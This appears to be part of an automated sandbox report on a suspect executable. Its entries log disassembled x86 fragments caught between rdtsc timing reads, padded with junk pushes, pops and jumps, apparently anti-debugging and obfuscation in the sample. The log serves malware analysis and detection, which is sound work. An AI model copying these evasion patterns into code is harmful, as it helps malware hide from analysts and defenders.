Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B5A second address: B67B77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8AA8B7BB94h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B77 second address: B67B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B668B0 second address: B668FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F8AA8B7BBA5h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AA8B7BB97h 0x00000013 jc 00007F8AA8B7BB88h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B668FC second address: B66919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F8AA8C154D7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67891 second address: B67897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6DD38 second address: B6DD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 je 00007F8AA8C154D2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C9CD second address: B6C9DF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F8AA8B7BBA0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D179 second address: B6D185 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8AA8C154C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D185 second address: B6D19A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8AA8B7BB8Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D450 second address: B6D455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D455 second address: B6D484 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8AA8B7BB8Ch 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8AA8B7BB91h 0x00000017 jl 00007F8AA8B7BB86h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D484 second address: B6D499 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D499 second address: B6D4A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6DA68 second address: B6DA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6DA6E second address: B6DA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 jg 00007F8AA8B7BB96h 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F8AA8B7BB86h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74CB9 second address: B74CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B645 second address: B3B649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B649 second address: B3B687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], esi 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F8AA8C154C8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 xor dword ptr [ebp+12457528h], eax 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jnc 00007F8AA8C154C6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B687 second address: B3B691 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD71 second address: B3BD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD75 second address: B3BD86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD86 second address: B3BD8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD8B second address: B3BDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB90h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AA8B7BB8Bh 0x00000013 pop edx 0x00000014 nop 0x00000015 mov dword ptr [ebp+12455F03h], edx 0x0000001b push 0000001Eh 0x0000001d movzx edi, dx 0x00000020 nop 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jnp 00007F8AA8B7BB86h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BDC6 second address: B3BDEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F8AA8C154CBh 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C13E second address: B3C148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C148 second address: B3C18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jns 00007F8AA8C154DEh 0x00000012 jbe 00007F8AA8C154D8h 0x00000018 jmp 00007F8AA8C154D2h 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jnl 00007F8AA8C154D0h 0x00000026 jmp 00007F8AA8C154CAh 0x0000002b jg 00007F8AA8C154CCh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C284 second address: B3C2F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007F8AA8B7BB9Dh 0x00000010 nop 0x00000011 jc 00007F8AA8B7BB8Ch 0x00000017 mov edx, dword ptr [ebp+12462029h] 0x0000001d lea eax, dword ptr [ebp+1248ABB0h] 0x00000023 mov ch, 37h 0x00000025 nop 0x00000026 jns 00007F8AA8B7BB94h 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jp 00007F8AA8B7BB86h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C2F0 second address: B1B2C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F8AA8C154C8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+12455B45h], esi 0x0000002c call dword ptr [ebp+122D2677h] 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push ebx 0x00000037 pop ebx 0x00000038 jmp 00007F8AA8C154CCh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B2C5 second address: B1B2E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F8AA8B7BB98h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B2E9 second address: B1B2EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73F8B second address: B73FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jmp 00007F8AA8B7BB99h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74135 second address: B7413B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7413B second address: B74141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74141 second address: B74145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74145 second address: B74149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7457C second address: B7458B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7486B second address: B74877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F8AA8B7BB86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78E95 second address: B78EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79022 second address: B79039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007F8AA8B7BB88h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B794C7 second address: B794CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B794CB second address: B794EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push edi 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79C1A second address: B79C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79C20 second address: B79C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79C25 second address: B79C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80AE5 second address: B80AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80AEA second address: B80AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80AF0 second address: B80AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B805F9 second address: B80605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8AA8C154C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80605 second address: B8060B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8060B second address: B8061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jnc 00007F8AA8C154C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80794 second address: B807F6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AA8B7BB86h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007F8AA8B7BB8Ah 0x00000012 pop ebx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007F8AA8B7BB8Fh 0x0000001b popad 0x0000001c jmp 00007F8AA8B7BB97h 0x00000021 popad 0x00000022 jo 00007F8AA8B7BBB8h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8AA8B7BB97h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE33 second address: AFCE55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c jmp 00007F8AA8C154CDh 0x00000011 pop ebx 0x00000012 jl 00007F8AA8C154CCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE55 second address: AFCE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE5D second address: AFCE61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8363D second address: B83642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85E34 second address: B85E4F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8AA8C154D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE9C3 second address: AFE9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89240 second address: B89246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8950F second address: B8952A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F8AA8B7BB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F8AA8B7BB8Ch 0x00000015 jne 00007F8AA8B7BB86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8952A second address: B89531 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8FFFC second address: B9001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 js 00007F8AA8B7BB9Ah 0x0000000d jmp 00007F8AA8B7BB92h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E9EE second address: B8E9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E9F9 second address: B8E9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E9FD second address: B8EA01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EB8A second address: B8EB94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE3A second address: B8EE46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE46 second address: B8EE59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F8AA8B7BB86h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE59 second address: B8EE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE5D second address: B8EE68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE68 second address: B8EE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE6E second address: B8EE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8AA8B7BB86h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBC0 second address: B3BBC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBC4 second address: B3BBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBCA second address: B3BBE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBE4 second address: B3BBE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBE8 second address: B3BC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov di, cx 0x0000000e add ecx, dword ptr [ebp+122D393Ch] 0x00000014 mov ebx, dword ptr [ebp+1248ABEFh] 0x0000001a mov ecx, edi 0x0000001c add eax, ebx 0x0000001e push edi 0x0000001f mov edi, ebx 0x00000021 pop edi 0x00000022 nop 0x00000023 push edi 0x00000024 push esi 0x00000025 jnp 00007F8AA8C154C6h 0x0000002b pop esi 0x0000002c pop edi 0x0000002d push eax 0x0000002e push ebx 0x0000002f js 00007F8AA8C154CCh 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F0FD second address: B8F102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F102 second address: B8F11C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F11C second address: B8F120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F120 second address: B8F157 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007F8AA8C154D2h 0x00000013 push edi 0x00000014 jmp 00007F8AA8C154D5h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92651 second address: B92655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92655 second address: B92696 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8AA8C154DAh 0x0000000c jmp 00007F8AA8C154CEh 0x00000011 jno 00007F8AA8C154C6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007F8AA8C154DEh 0x00000020 jmp 00007F8AA8C154D6h 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92825 second address: B92831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F8AA8B7BB86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92831 second address: B92835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98490 second address: B98495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98CEC second address: B98CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9927E second address: B99284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99811 second address: B99815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99815 second address: B99826 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pushad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DCA1 second address: B9DCA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DCA5 second address: B9DCAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
